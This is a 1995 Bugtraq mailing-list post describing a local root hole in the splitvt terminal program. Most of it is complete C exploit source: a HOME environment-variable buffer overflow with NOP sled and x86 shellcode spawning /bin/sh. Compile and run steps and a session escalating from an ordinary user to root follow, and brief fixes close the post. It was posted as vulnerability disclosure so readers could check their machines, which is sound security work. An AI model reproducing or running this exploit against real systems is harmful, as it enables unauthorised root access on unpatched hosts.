[2456] in bugtraq
Re: SECURITY: Announcing Splitvt 1.6.3
daemon@ATHENA.MIT.EDU (Alex Leipold)
Thu Dec 14 21:06:28 1995
Date: Thu, 14 Dec 1995 15:21:13 -0500
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Alex Leipold <aleipold@clark.net>
X-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
In-Reply-To: <9512140156.AA09761@toadflax.cs.ucdavis.edu>
The splitvt hole works as follows [compile this and test it on a linux
box to see if you have the problem:]
-------------------sp---------------------------
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
char eggplant[2048];
int a;
char *egg;
long *egg2;
char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *eggie = realegg;
egg = eggplant;
*(egg++) = 'H';
*(egg++) = 'O';
*(egg++) = 'M';
*(egg++) = 'E';
*(egg++) = '=';
egg2 = (long *)egg;
for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
egg=(char *)egg2;
for (a=0;a<0x40;a++) *(egg++) = 0x90;
while (*eggie)
*(egg++) = *(eggie++);
*egg = 0; /* terminate eggplant! */
putenv(eggplant);
system("/bin/bash");
}
----------------------------------cut here--------------------
so then compile:
gcc sp.c -o sp
then do:
> whoami
aleipold
> .sp
bash$ .sp
bash$ splitvt
bash$ whoami
root
bash$ trouble....
A solution is either to one) delete splitvt two) get a new version three)
as root, chmod 700 splitvt